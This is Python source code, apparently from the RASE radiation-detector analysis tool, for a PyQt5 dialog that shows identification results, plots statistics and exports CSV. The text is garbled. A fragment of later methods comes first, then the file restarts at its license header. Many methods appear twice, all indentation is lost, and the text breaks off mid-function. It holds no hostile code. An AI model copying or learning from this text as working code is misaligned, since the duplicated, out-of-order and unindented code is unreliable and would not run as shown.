scen_id = scen_det_key.split('*')[0]
det_name = "".join(scen_det_key.split('*')[1:])
scenario = Session().query(Scenario).filter_by(id=scen_id).first()
detector = Session().query(Detector).filter_by(name=det_name).first()
DetailedResultsDialog(resultMap, scenario, detector).exec_()
@pyqtSlot(QPoint)
def on_tblResView_customContextMenuRequested(self, point):
"""
Handles right click selections on the results table
"""
index = self.tblResView.indexAt(point)
# show the context menu only if on an a valid part of the table
if index:
detail_view_action = QAction('Show Detailed Results Table', self)
show_freq_action = QAction(f'Show Identification Results Frequency of Selected Row'
f'{'s' if len(self.tblResViewSelect.selectedRows()) > 1 else ''}', self)
menu = QMenu(self.tblResView)
menu.addAction(detail_view_action)
menu.addAction(show_freq_action)
action = menu.exec_(self.tblResView.mapToGlobal(point))
if action == show_freq_action:
self.show_freq_results()
elif action == detail_view_action:
self.showDetailView(index)
def show_freq_results(self):
"""
Compute sorted frequency of all identification result strings for the selected rows and loads dialog
"""
if self.tblResViewSelect.hasSelection():
result_strings = []
num_entries = 0
for i in self.tblResViewSelect.selectedRows():
scen_det_key = self.results_model.headerData(i.row(), Qt.Vertical, Qt.UserRole)
result_map = self.parent.result_super_map[scen_det_key]
result_strings += [x.strip() for res in result_map.values() for x in res[-1].split(';')]
num_entries += len(result_map)
result_string_counter = Counter(result_strings)
freq_result_dict = {k: f'{v / num_entries:.4g}' for k, v in sorted(result_string_counter.items(),
key=lambda item: item[1], reverse=True)}
freq_result_table = FrequencyTableDialog(self, freq_result_dict)
freq_result_table.exec_()
def btnFreqAnalysis_change_status(self):
"""
Enables or disables the Frequency Analysis button
"""
if self.tblResViewSelect.hasSelection():
self.btnFreqAnalysis.setEnabled(True)
else:
self.btnFreqAnalysis.setEnabled(False)
@pyqtSlot(str)
def on_cmbXaxis_currentTextChanged(self, text):
"""
Listens for X column change
"""
self.show_material_cmb('X', text)
for cmb in [self.cmbYaxis, self.cmbGroupBy]:
cmb.setEnabled(True if text else False)
if not text:
cmb.setCurrentIndex(0)
self.btnViewPlot.setEnabled(True if text else False)
@pyqtSlot(str)
def on_cmbYaxis_currentTextChanged(self, text):
"""
Listens for Y column change
"""
self.show_material_cmb('Y', text)
self.cmbZaxis.setEnabled(True if text else False)
if not text: self.cmbZaxis.setCurrentIndex(0)
self.cmbGroupBy.setEnabled(True)
@pyqtSlot(str)
def on_cmbZaxis_currentTextChanged(self, text):
"""
Listens for Z column change
"""
if text:
self.cmbGroupBy.setCurrentIndex(0)
self.cmbGroupBy.setEnabled(False if text else True)
self.cb_removezero.setEnabled(True if text else False)
def show_material_cmb(self, axis, text):
"""
Shows or hides the material combo boxes based on the values of the corresponding axis combo box selected
:param axis: 'X' or 'Y'
:param text: text of the axis combo box
"""
cmbMat = getattr(self, 'cmb' + axis + 'mat')
txtMat = getattr(self, 'txt' + axis + 'mat')
txtMat.hide()
cmbMat.hide()
if text == 'Influence':
pass
elif text in ['Source Dose', 'Source Flux', 'Background Dose', 'Background Flux']:
cmbMat.clear()
names = self.names_dict[text]
cmbMat.addItems(names)
cmbMat.show()
txtMat.show()
@pyqtSlot(bool)
def on_btnViewPlot_clicked(self, checked):
"""
Prepares data for plotting and launches the plotting dialog
"""
df = self.parent.scenario_stats_df
unappended_titles = []
titles = []
ax_vars = []
x = []
y = []
x_err = []
y_err = []
repl = []
for axis in ['X', 'Y', 'Z']:
cmbAxis = getattr(self, 'cmb' + axis + 'axis').currentText()
matName = getattr(self, 'cmb' + axis + 'mat').currentText() if axis in ['X', 'Y'] else ''
if cmbAxis in ['Source Dose']:
title = 'Dose' + f" {matName}"
unappended_title = 'Dose_' + f"{matName}"
ax_var = 'Dose' + f"_{matName}"
elif cmbAxis in ['Source Flux']:
title = 'Flux' + f" {matName}"
unappended_title = 'Flux_' + f"{matName}"
ax_var = 'Flux' + f"_{matName}"
elif cmbAxis in ['Background Dose']:
title = 'BkgDose' + f" {matName}"
unappended_title = 'BkgDose_' + f"{matName}"
ax_var = 'BkgDose' + f"_{matName}"
elif cmbAxis in ['Background Flux']:
title = 'BkgFlux' + f" {matName}"
unappended_title = 'BkgFlux_' + f"{matName}"
ax_var = 'BkgFlux' + f"_{matName}"
else:
title = cmbAxis
unappended_title = cmbAxis
ax_var = cmbAxis
unappended_titles.append(unappended_title)
titles.append(title)
ax_vars.append(ax_var)
if len(titles) >= 3:
for i, ax_title in enumerate(titles):
if ax_title.startswith('Dose') or ax_title.startswith('BkgDose'):
titles[i] = ax_title + (' (\u00B5Sv/h)')
elif ax_title.startswith('Flux') or ax_title.startswith('BkgFlux'):
titles[i] = ax_title + (' (\u03B3/(cm\u00B2s))')
try:
if self.cmbZaxis.currentText(): # 3D plotting case
if self.cb_removezero.isChecked():
df_3dplot = df.loc[~((df[unappended_titles[0]] == 0) |
(df[unappended_titles[1]] == 0))].pivot(values=unappended_titles[2],
index=unappended_titles[0],
columns=unappended_titles[1])
else:
df_3dplot = df.pivot(values=unappended_titles[2],
index=unappended_titles[0],
columns=unappended_titles[1])
dialog = Result3DPlottingDialog(self, df_3dplot, titles)
dialog.exec_()
else: # 1D and 2D plotting
cat = self.cmbGroupBy.currentText()
categories = []
if cat:
if self.cmbGroupBy.currentText() == 'Source Material':
categories = [s for s in df.columns.to_list() if s.startswith('Dose_') or s.startswith('Flux_')]
elif self.cmbGroupBy.currentText() == 'Background Material':
categories = [s for s in df.columns.to_list() if
s.startswith('BkgDose_') or s.startswith('BkgFlux_')]
else:
categories = pd.unique(df[cat].values).tolist()
for v in ['PID','C&C']:
df[f'{v}_H_err'] = (df[v] - df[f'{v}_H']).abs()
df[f'{v}_L_err'] = (df[v] - df[f'{v}_L']).abs()
if not cat:
x.append(df[ax_vars[0]].to_list())
if ax_vars[0] in ['PID', 'C&C']:
x_err.append([(l, h) for (l, h) in zip(df[f'{ax_vars[0]}_L_err'], df[f'{ax_vars[0]}_H_err'])])
if ax_vars[1]:
y.append(self.parent.scenario_stats_df[ax_vars[1]].to_list())
if ax_vars[1] in ['PID', 'C&C']:
y_err.append([(l, h) for (l, h) in zip(df[f'{ax_vars[1]}_L_err'], df[f'{ax_vars[1]}_H_err'])])
repl.append(df['Repl'].tolist())
else:
for cat_label in categories:
if isinstance(cat_label, str) and \
(cat_label.startswith('Dose') or cat_label.startswith('Flux') or
cat_label.startswith('BkgDose') or cat_label.startswith('BkgFlux')):
df = self.parent.scenario_stats_df.loc[self.parent.scenario_stats_df[cat_label] != 0]
x.append(df[cat_label].to_list())
else:
df = self.parent.scenario_stats_df.loc[self.parent.scenario_stats_df[cat] == cat_label]
x.append(df[ax_vars[0]].to_list())
repl.append(df['Repl'].tolist())
if ax_vars[0] in ['PID', 'C&C']:
x_err.append([(l, h) for (l, h) in zip(df[f'{ax_vars[0]}_L_err'], df[f'{ax_vars[0]}_H_err'])])
if ax_vars[1]:
y.append(df[ax_vars[1]].to_list())
if ax_vars[1] in ['PID', 'C&C']:
y_err.append([(l, h) for (l, h) in zip(df[f'{ax_vars[1]}_L_err'], df[f'{ax_vars[1]}_H_err'])])
dialog = ResultPlottingDialog(self, x, y, titles, categories, repl, x_err, y_err)
dialog.exec_()
except Exception as e:
traceback.print_exc()
logging.exception("Handled Exception", exc_info=True)
QMessageBox.information(self, "Info", "Sorry, the requested plot cannot be generated because:\n" + str(e))
return
@pyqtSlot(bool)
def on_btnSettings_clicked(self, checked):
"""
Launches the results table settings dialog
"""
idx = self.results_model.scenario_desc_col_index()
dialog = ResultsTableSettings(self)
dialog.exec_()
self.results_model.reset_data(self.parent.scenario_stats_df)
if idx is not None:
self.tblResView.setItemDelegateForColumn(idx, QStyledItemDelegate())
if self.results_model.scenario_desc_col_index() is not None:
self.tblResView.setItemDelegateForColumn(self.results_model.scenario_desc_col_index(), HtmlDelegate())
self.tblResView.resizeColumnsToContents()
self.tblResView.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
class ResultsTableSettings(QDialog):
"""Simple Dialog to allow the user to select which column to display in the results table
The settings are stored persistently in the RaseSettings class
:param parent: the parent dialog
"""
def __init__(self, parent):
QDialog.__init__(self, parent)
cols_list = ['Det/Replay', 'Scen Desc', 'Dose', 'Flux', 'Background Dose', 'Background Flux',
'Infl', 'AcqTime', 'Repl', 'PID', 'PID CI', 'C&C', 'C&C CI', 'TP', 'FP', 'FN',
'Precision', 'Recall', 'F_Score', 'wTP', 'wFP', 'wFN', 'wPrecision', 'wRecall', 'wF_Score']
# QT treats the ampersand symbol as a special character, so it needs special treatment
self.cb_list = [QCheckBox(v.replace('&', '&&')) for v in cols_list]
layout = QVBoxLayout()
for cb in self.cb_list:
# if not (cb.text() == self.not_fd_mode):
layout.addWidget(cb)
self.buttonBox = QDialogButtonBox(self)
self.buttonBox.setStandardButtons(QDialogButtonBox.Cancel|QDialogButtonBox.Ok)
self.buttonBox.accepted.connect(self.accept)
self.buttonBox.rejected.connect(self.reject)
layout.addWidget(self.buttonBox)
self.setLayout(layout)
if RaseSettings().getResultsTableSettings():
self.set_current_settings()
else:
self.set_default()
def set_default(self):
"""
Sets default selection
"""
for cb in self.cb_list:
if cb.text() == 'Scen Desc':
cb.setChecked(False)
else:
cb.setChecked(True)
def set_current_settings(self):
"""
Loads and apply the stored settings
"""
for cb in self.cb_list:
if cb.text().replace('&&', '&') in RaseSettings().getResultsTableSettings():
cb.setChecked(True)
else:
cb.setChecked(False)
@pyqtSlot()
def accept(self):
"""
Stores the selected values in the RaseSettings class
"""
selected = [cb.text().replace('&&', '&') for cb in self.cb_list if cb.isChecked()]
RaseSettings().setResultsTableSettings(selected)
return QDialog.accept(self)
class HtmlDelegate(QStyledItemDelegate):
'''render html text passed to the table widget item'''
def paint(self, painter, option, index):
self.initStyleOption(option, index)
style = option.widget.style() if option.widget else QApplication.style()
palette = QApplication.palette()
color = palette.highlight().color() \
if option.state & QStyle.State_Selected \
else palette.base()
ctx = QAbstractTextDocumentLayout.PaintContext()
textRect = style.subElementRect(QStyle.SE_ItemViewItemText, option)
painter.save()
painter.fillRect(option.rect, color)
painter.translate(textRect.topLeft())
painter.setClipRect(textRect.translated(-textRect.topLeft()))
doc = QTextDocument()
doc.setHtml(option.text)
doc.documentLayout().draw(painter, ctx)
painter.restore()
def sizeHint(self, option, index):
fm = option.fontMetrics
document = QTextDocument()
document.setDefaultFont(option.font)
document.setHtml(index.model().data(index, Qt.DisplayRole))
return QSize(document.idealWidth() + 20, fm.height())
class FrequencyTableDialog(QDialog):
"""Display a table of data from an input dictionary
:param data: the input dictionary data
:param parent: the parent dialog
"""
def __init__(self, parent, data):
QDialog.__init__(self, parent)
self.setWindowTitle("Results Frequency Analysis")
self.data = data
self.tableWidget = QTableWidget()
self.tableWidget.setContextMenuPolicy(Qt.CustomContextMenu)
self.tableWidget.customContextMenuRequested.connect(self.show_context_menu)
self.setData()
self.buttonBox = QDialogButtonBox(self)
self.buttonBox.setStandardButtons(QDialogButtonBox.Ok)
self.buttonBox.accepted.connect(self.accept)
self.widget = QWidget(self)
self.widget.setMinimumSize(QSize(300, 300))
self.fig = Figure()
self.canvas = FigureCanvas(self.fig)
self.canvas.setParent(self.widget)
self.ax = self.fig.add_subplot(111)
self.navi_toolbar = NavigationToolbar(self.canvas, self.widget)
self.layout = QVBoxLayout()
self.layout.addWidget(self.tableWidget)
self.layout.addWidget(self.canvas)
self.layout.addWidget(self.navi_toolbar)
self.layout.addWidget(self.buttonBox)
self.setLayout(self.layout)
self.draw()
def setData(self):
self.tableWidget.setRowCount(len(self.data.keys()))
self.tableWidget.setColumnCount(2)
for n, k in enumerate(self.data.keys()):
for col, value in enumerate([k, str(self.data[k])]):
item = QTableWidgetItem(value)
item.setTextAlignment(Qt.AlignCenter)
item.setFlags(item.flags() ^ Qt.ItemIsEditable)
self.tableWidget.setItem(n, col, item)
self.tableWidget.setHorizontalHeaderLabels(['Material', 'Frequency'])
def draw(self):
"""
Draws the bar plot with the frequency results
"""
self.ax.clear()
values = [float(v)*100 for v in self.data.values()]
sns.barplot(x=values, y=list(self.data.keys()), ax=self.ax)
self.ax.set_xlabel('Frequency [%]')
self.ax.set_ylabel('ID Result Label')
self.canvas.draw()
def get_selected_cells_as_text(self):
"""
Returns the selected cells of the table as plain text
"""
selected_rows = self.tableWidget.selectedIndexes()
text = ""
# show the context menu only if on an a valid part of the table
if selected_rows:
cols = set(index.column() for index in self.tableWidget.selectedIndexes())
for row in set(index.row() for index in self.tableWidget.selectedIndexes()):
text += "\t".join([self.tableWidget.item(row, col).text() for col in cols])
text += '\n'
return text
def keyPressEvent(self, e):
if e.key() == Qt.Key_Copy or e.key == QKeySequence(QKeySequence.Copy) or e.key() == 67:
QApplication.clipboard().setText(self.get_selected_cells_as_text())
@pyqtSlot(QPoint)
def show_context_menu(self, point):
"""
Handles "Copy" right click selections on the table
"""
copy_action = QAction('Copy', self)
menu = QMenu(self.tableWidget)
menu.addAction(copy_action)
action = menu.exec_(self.tableWidget.mapToGlobal(point))
if action == copy_action:
QApplication.clipboard().setText(self.get_selected_cells_as_text())
| ###############################################################################
# Copyright (c) 2018-2021 Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory
#
# Written by J. Chavez, S. Czyz, G. Kosinovsky, V. Mozin, S. Sangiorgio.
# RASE-support@llnl.gov.
#
# LLNL-CODE-819515
#
# All rights reserved.
#
# This file is part of RASE.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
# of the Software, and to permit persons to whom the Software is furnished to do
# so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED,INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
###############################################################################
"""
This module displays the complete summary of replay results and subsequent analysis
"""
import logging
import traceback
import re
import pandas as pd
from collections import Counter
from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar
from matplotlib.backends.backend_qt5agg import FigureCanvas
from matplotlib.figure import Figure
import seaborn as sns
from PyQt5.QtCore import pyqtSlot, QAbstractTableModel, Qt, QSize, QPoint
from PyQt5.QtGui import QColor, QAbstractTextDocumentLayout, QTextDocument, QKeySequence
from PyQt5.QtWidgets import QDialog, QMessageBox, QHeaderView, QFileDialog, QCheckBox, QVBoxLayout, QDialogButtonBox, \
QStyledItemDelegate, QApplication, QStyle, QAction, QMenu, QTableWidget, QTableWidgetItem, QWidget
from src.plotting import ResultPlottingDialog, Result3DPlottingDialog
from src.table_def import Scenario, Detector, Session
from .ui_generated import ui_results_dialog
from src.detailed_results_dialog import DetailedResultsDialog
from src.correspondence_table_dialog import CorrespondenceTableDialog
from src.manage_weights_dialog import ManageWeightsDialog
from src.rase_settings import RaseSettings
NUM_COL = 16
INST_REPL, SCEN_ID, SCEN_DESC, ACQ_TIME, REPL, INFL, PD, PD_CI, TP, FP, FN, CANDC, CANDC_CI, PRECISION, RECALL, \
FSCORE = range(NUM_COL)
# color scale from https://colorbrewer2.org/#type=diverging&scheme=RdYlGn&n=11
STOPLIGHT_COLORS = ['#a50026','#d73027','#f46d43','#fdae61','#fee08b','#ffffbf','#d9ef8b','#a6d96a','#66bd63','#1a9850','#006837']
class ResultsTableModel(QAbstractTableModel):
"""Table Model for the Identification Results
The underline data is the pandas dataframe produced in rase.py.
The input dataframe is copied as some of the formatting applied does not need to propagate to the original
:param data: the new input pandas dataframe from the identification results analysis
"""
def __init__(self, data):
super(ResultsTableModel, self).__init__()
self._data = data.copy()
self.col_settings = RaseSettings().getResultsTableSettings()
self._reformat_data()
def _reformat_data(self):
"""
Reformat underlying data for prettier display and downselect only the columns requested by the user
"""
self._data['Det/Replay'] = self._data['Det'] + '/' + self._data['Replay']
self._data['PID CI'] = [str(round(abs(l), 2)) + ' - ' + str(round(h, 2)) for h, l in zip(self._data['PID_H'], self._data['PID_L'])]
self._data['C&C CI'] = [str(round(abs(l), 2)) + ' - ' + str(round(h, 2)) for h, l in zip(self._data['C&C_H'], self._data['C&C_L'])]
# self._data.drop(columns=['Det', 'Replay', 'PID_L', 'PID_H', 'C&C_L', 'C&C_H'], inplace=True)
mat_cols = [s for s in self._data.columns.to_list() if (s.startswith('Dose_') or s.startswith('Flux_'))]
bkg_cols = [s for s in self._data.columns.to_list() if (s.startswith('BkgDose_') or s.startswith('BkgFlux_'))]
cols = ['Det/Replay', 'Scen Desc'] + mat_cols + bkg_cols + ['Infl', 'AcqTime', 'Repl',
'PID', 'PID CI', 'C&C', 'C&C CI', 'TP', 'FP', 'FN', 'Precision', 'Recall', 'F_Score',
'wTP', 'wFP', 'wFN', 'wPrecision', 'wRecall', 'wF_Score']
if self.col_settings:
cols = [c for c in cols if (c.startswith('Dose') or c.startswith('BkgDose')
or c.startswith('Flux') or c.startswith('BkgFlux')) or c in self.col_settings]
if 'Dose' not in self.col_settings:
cols = [c for c in cols if not c.startswith('Dose')]
if 'Background Dose' not in self.col_settings:
cols = [c for c in cols if not c.startswith('BkgDose')]
if 'Flux' not in self.col_settings:
cols = [c for c in cols if not c.startswith('Flux')]
if 'Background Flux' not in self.col_settings:
cols = [c for c in cols if not c.startswith('BkgFlux')]
self._data = self._data[cols]
# self._data = self._data.rename(columns={'PID':'Prob. ID'})
def reset_data(self, data):
"""
Reset and reformat the data.
Should be called always after the data have been recomputed or columns selection changed
:param data: the new input pandas dataframe from the identification results analysis
"""
self.layoutAboutToBeChanged.emit()
self._data = data.copy()
self.col_settings = RaseSettings().getResultsTableSettings()
self._reformat_data()
self.layoutChanged.emit()
def data(self, index, role):
if role == Qt.DisplayRole:
value = self._data.iloc[index.row(), index.column()]
if isinstance(value, float):
return f'{value:.3g}'
else:
return str(value)
if role == Qt.DecorationRole:
# stopchart blocks
if self._data.columns[index.column()] in ['PID', 'C&C', 'F_Score', 'wF_Score']:
value = self._data.iloc[index.row(), index.column()]
if value < 0: value = 0
if value > 1: value = 1
value = int(value * (len(STOPLIGHT_COLORS) -1))
return QColor(STOPLIGHT_COLORS[value])
if role == Qt.TextAlignmentRole:
return Qt.AlignCenter
def rowCount(self, index):
return self._data.shape[0]
def columnCount(self, index):
return self._data.shape[1]
def headerData(self, section, orientation, role):
# section is the index of the column/row.
if role == Qt.DisplayRole:
if orientation == Qt.Horizontal:
h = str(self._data.columns[section]).split('_')
if h[0] == "Dose" or h[0] == "BkgDose" or h[0] == "Flux" or h[0] == "BkgFlux":
desc = "".join(h[1:]).split('-')
return f'{h[0]}\n{desc[0]}\n{"".join(desc[1:])}'
else:
return str(self._data.columns[section])
if orientation == Qt.Vertical:
return str(self._data.index[section].split("*")[0])
if role == Qt.UserRole:
if orientation == Qt.Vertical:
return str(self._data.index[section])
def sort(self, column: int, order: Qt.SortOrder = ...) -> None:
self.layoutAboutToBeChanged.emit()
if len(self._data.columns):
self._data.sort_values(by=[self._data.columns[column]],
ascending=not order, inplace=True)
self.layoutChanged.emit()
def scenario_desc_col_index(self):
if 'Scen Desc' in self._data.columns:
return self._data.columns.values.tolist().index('Scen Desc')
return None
class ViewResultsDialog(ui_results_dialog.Ui_dlgResults, QDialog):
"""Dialog to display identification results and select variables for plotting
:param parent: the parent dialog
"""
def __init__(self, parent, scenIds, detNames):
QDialog.__init__(self, parent)
self.setupUi(self)
self.parent = parent
comboList = ['', 'Det', 'Replay', 'Source Dose', 'Source Flux', 'Background Dose', 'Background Flux', 'Infl',
'AcqTime', 'Repl', 'PID', 'C&C', 'TP', 'FP', 'FN', 'Precision', 'Recall', 'F_Score', 'wTP', 'wFP',
'wFN', 'wPrecision', 'wRecall', 'wF_Score']
self.cmbXaxis.addItems(comboList)
self.cmbYaxis.addItems(comboList)
comboList = ['', 'PID', 'C&C', 'TP', 'FP', 'FN', 'Precision', 'Recall', 'F_Score', 'wTP', 'wFP', 'wFN',
'wPrecision', 'wRecall', 'wF_Score']
self.cmbZaxis.addItems(comboList)
comboList = ['', 'Det', 'Replay', 'Source Material', 'Background Material', 'Infl', 'AcqTime', 'Repl',
'PID', 'C&C', 'TP', 'FP', 'FN', 'Precision', 'Recall', 'F_Score', 'wTP', 'wFP', 'wFN',
'wPrecision', 'wRecall', 'wF_Score']
self.cmbGroupBy.addItems(comboList)
self.cmbGroupBy.setEnabled(False)
self.matNames_dose = ["".join(s.split("_")[1:]) for s in self.parent.scenario_stats_df.columns.to_list()
if s.startswith('Dose_')]
self.matNames_flux = ["".join(s.split("_")[1:]) for s in self.parent.scenario_stats_df.columns.to_list()
if s.startswith('Flux_')]
self.bkgmatNames_dose = ["".join(s.split("_")[1:]) for s in self.parent.scenario_stats_df.columns.to_list()
if s.startswith('BkgDose_')]
self.bkgmatNames_flux = ["".join(s.split("_")[1:]) for s in self.parent.scenario_stats_df.columns.to_list()
if s.startswith('BkgFlux_')]
self.names_dict = {'Source Dose':self.matNames_dose, 'Source Flux': self.matNames_flux,
'Background Dose': self.bkgmatNames_dose, 'Background Flux': self.bkgmatNames_flux}
self.btnViewPlot.setEnabled(False)
self.btnFreqAnalysis.setEnabled(False)
self.btnClose.clicked.connect(self.closeSelected)
self.buttonExport.clicked.connect(self.handleExport)
self.buttonCorrTable.clicked.connect(lambda: self.openCorrTable(scenIds, detNames))
self.buttonManageWeights.clicked.connect(lambda: self.openWeightsTable(scenIds, detNames))
self.btnFreqAnalysis.clicked.connect(self.show_freq_results)
self.results_model = ResultsTableModel(self.parent.scenario_stats_df)
self.tblResView.setModel(self.results_model)
self.tblResView.doubleClicked.connect(self.showDetailView)
self.tblResView.setContextMenuPolicy(Qt.CustomContextMenu)
self.tblResView.setSortingEnabled(True)
if self.results_model.scenario_desc_col_index() is not None:
self.tblResView.setItemDelegateForColumn(self.results_model.scenario_desc_col_index(), HtmlDelegate())
self.tblResView.resizeColumnsToContents()
self.tblResView.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
self.tblResViewSelect = self.tblResView.selectionModel()
self.tblResViewSelect.selectionChanged.connect(self.btnFreqAnalysis_change_status)
def openCorrTable(self, scenIds, detNames):
"""
Launches Correspondence Table Dialog
"""
CorrespondenceTableDialog().exec_()
self.parent.settings.setIsAfterCorrespondenceTableCall(True)
self.parent.calculateScenarioStats(caller=self, selected_scenarios=scenIds,
selected_detectors=detNames)
self.results_model.reset_data(self.parent.scenario_stats_df)
def openWeightsTable(self, scenIds, detNames):
"""
Launches Correspondence Table Dialog
"""
ManageWeightsDialog().exec_()
self.parent.calculateScenarioStats(caller=self, selected_scenarios=scenIds,
selected_detectors=detNames)
self.results_model.reset_data(self.parent.scenario_stats_df)
def handleExport(self):
"""
Exports Results Dataframe to CSV format
"""
path = QFileDialog.getSaveFileName(self, 'Save File', RaseSettings().getDataDirectory(), 'CSV (*.csv)')
if path[0]:
df = self.parent.scenario_stats_df.copy()
df['Scen Desc'] = df['Scen Desc'].apply(lambda x: re.sub('<[^<]+?>', '', x))
df.to_csv(path[0])
def closeSelected(self):
"""
Closes Dialog
"""
super().accept()
def showDetailView(self, index):
scen_det_key = self.results_model.headerData(index.row(), Qt.Vertical, Qt.UserRole)
resultMap = self.parent.result_super_map[scen_det_key]
scen_id = scen_det_key.split('*')[0]
det_name = "".join(scen_det_key.split('*')[1:])
scenario = Session().query(Scenario).filter_by(id=scen_id).first()
detector = Session().query(Detector).filter_by(name=det_name).first()
DetailedResultsDialog(resultMap, scenario, detector).exec_()
@pyqtSlot(QPoint)
def on_tblResView_customContextMenuRequested(self, point):
"""
Handles right click selections on the results table
"""
index = self.tblResView.indexAt(point)
# show the context menu only if on an a valid part of the table
if index:
detail_view_action = QAction('Show Detailed Results Table', self)
show_freq_action = QAction(f'Show Identification Results Frequency of Selected Row'
f'{"s" if len(self.tblResViewSelect.selectedRows()) > 1 else ""}', self)
menu = QMenu(self.tblResView)
menu.addAction(detail_view_action)
menu.addAction(show_freq_action)
action = menu.exec_(self.tblResView.mapToGlobal(point))
if action == show_freq_action:
self.show_freq_results()
elif action == detail_view_action:
self.showDetailView(index)
def show_freq_results(self):
"""
Compute sorted frequency of all identification result strings for the selected rows and loads dialog
"""
if self.tblResViewSelect.hasSelection():
result_strings = []
num_entries = 0
for i in self.tblResViewSelect.selectedRows():
scen_det_key = self.results_model.headerData(i.row(), Qt.Vertical, Qt.UserRole)
result_map = self.parent.result_super_map[scen_det_key]
result_strings += [x.strip() for res in result_map.values() for x in res[-1].split(';')]
num_entries += len(result_map)
result_string_counter = Counter(result_strings)
freq_result_dict = {k: f'{v / num_entries:.4g}' for k, v in sorted(result_string_counter.items(),
key=lambda item: item[1], reverse=True)}
freq_result_table = FrequencyTableDialog(self, freq_result_dict)
freq_result_table.exec_()
def btnFreqAnalysis_change_status(self):
"""
Enables or disables the Frequency Analysis button
"""
if self.tblResViewSelect.hasSelection():
self.btnFreqAnalysis.setEnabled(True)
else:
self.btnFreqAnalysis.setEnabled(False)
@pyqtSlot(str)
def on_cmbXaxis_currentTextChanged(self, text):
"""
Listens for X column change
"""
self.show_material_cmb('X', text)
for cmb in [self.cmbYaxis, self.cmbGroupBy]:
cmb.setEnabled(True if text else False)
if not text:
cmb.setCurrentIndex(0)
self.btnViewPlot.setEnabled(True if text else False)
@pyqtSlot(str)
def on_cmbYaxis_currentTextChanged(self, text):
"""
Listens for Y column change
"""
self.show_material_cmb('Y', text)
self.cmbZaxis.setEnabled(True if text else False)
if not text: self.cmbZaxis.setCurrentIndex(0)
self.cmbGroupBy.setEnabled(True)
@pyqtSlot(str)
def on_cmbZaxis_currentTextChanged(self, text):
"""
Listens for Z column change
"""
if text:
self.cmbGroupBy.setCurrentIndex(0)
self.cmbGroupBy.setEnabled(False if text else True)
self.cb_removezero.setEnabled(True if text else False)
def show_material_cmb(self, axis, text):
"""
Shows or hides the material combo boxes based on the values of the corresponding axis combo box selected
:param axis: 'X' or 'Y'
:param text: text of the axis combo box
"""
cmbMat = getattr(self, 'cmb' + axis + 'mat')
txtMat = getattr(self, 'txt' + axis + 'mat')
txtMat.hide()
cmbMat.hide()
if text == 'Influence':
pass
elif text in ['Source Dose', 'Source Flux', 'Background Dose', 'Background Flux']:
cmbMat.clear()
names = self.names_dict[text]
cmbMat.addItems(names)
cmbMat.show()
txtMat.show()
@pyqtSlot(bool)
def on_btnViewPlot_clicked(self, checked):
"""
Prepares data for plotting and launches the plotting dialog
"""
df = self.parent.scenario_stats_df
unappended_titles = []
titles = []
ax_vars = []
x = []
y = []
x_err = []
y_err = []
repl = []
for axis in ['X', 'Y', 'Z']:
cmbAxis = getattr(self, 'cmb' + axis + 'axis').currentText()
matName = getattr(self, 'cmb' + axis + 'mat').currentText() if axis in ['X', 'Y'] else ''
if cmbAxis in ['Source Dose']:
title = 'Dose' + f" {matName}"
unappended_title = 'Dose_' + f"{matName}"
ax_var = 'Dose' + f"_{matName}"
elif cmbAxis in ['Source Flux']:
title = 'Flux' + f" {matName}"
unappended_title = 'Flux_' + f"{matName}"
ax_var = 'Flux' + f"_{matName}"
elif cmbAxis in ['Background Dose']:
title = 'BkgDose' + f" {matName}"
unappended_title = 'BkgDose_' + f"{matName}"
ax_var = 'BkgDose' + f"_{matName}"
elif cmbAxis in ['Background Flux']:
title = 'BkgFlux' + f" {matName}"
unappended_title = 'BkgFlux_' + f"{matName}"
ax_var = 'BkgFlux' + f"_{matName}"
else:
title = cmbAxis
unappended_title = cmbAxis
ax_var = cmbAxis
unappended_titles.append(unappended_title)
titles.append(title)
ax_vars.append(ax_var)
if len(titles) >= 3:
for i, ax_title in enumerate(titles):
if ax_title.startswith('Dose') or ax_title.startswith('BkgDose'):
titles[i] = ax_title + (' (\u00B5Sv/h)')
elif ax_title.startswith('Flux') or ax_title.startswith('BkgFlux'):
titles[i] = ax_title + (' (\u03B3/(cm\u00B2s))')
try:
if self.cmbZaxis.currentText(): # 3D plotting case
if self.cb_removezero.isChecked():
df_3dplot = df.loc[~((df[unappended_titles[0]] == 0) |
(df[unappended_titles[1]] == 0))].pivot(values=unappended_titles[2],
index=unappended_titles[0],
columns=unappended_titles[1])
else:
df_3dplot = df.pivot(values=unappended_titles[2],
index=unappended_titles[0],
columns=unappended_titles[1])
dialog = Result3DPlottingDialog(self, df_3dplot, titles)
dialog.exec_()
else: # 1D and 2D plotting
cat = self.cmbGroupBy.currentText()
categories = []
if cat:
if self.cmbGroupBy.currentText() == 'Source Material':
categories = [s for s in df.columns.to_list() if s.startswith('Dose_') or s.startswith('Flux_')]
elif self.cmbGroupBy.currentText() == 'Background Material':
categories = [s for s in df.columns.to_list() if
s.startswith('BkgDose_') or s.startswith('BkgFlux_')]
else:
categories = pd.unique(df[cat].values).tolist()
for v in ['PID','C&C']:
df[f'{v}_H_err'] = (df[v] - df[f'{v}_H']).abs()
df[f'{v}_L_err'] = (df[v] - df[f'{v}_L']).abs()
if not cat:
x.append(df[ax_vars[0]].to_list())
if ax_vars[0] in ['PID', 'C&C']:
x_err.append([(l, h) for (l, h) in zip(df[f'{ax_vars[0]}_L_err'], df[f'{ax_vars[0]}_H_err'])])
if ax_vars[1]:
y.append(self.parent.scenario_stats_df[ax_vars[1]].to_list())
if ax_vars[1] in ['PID', 'C&C']:
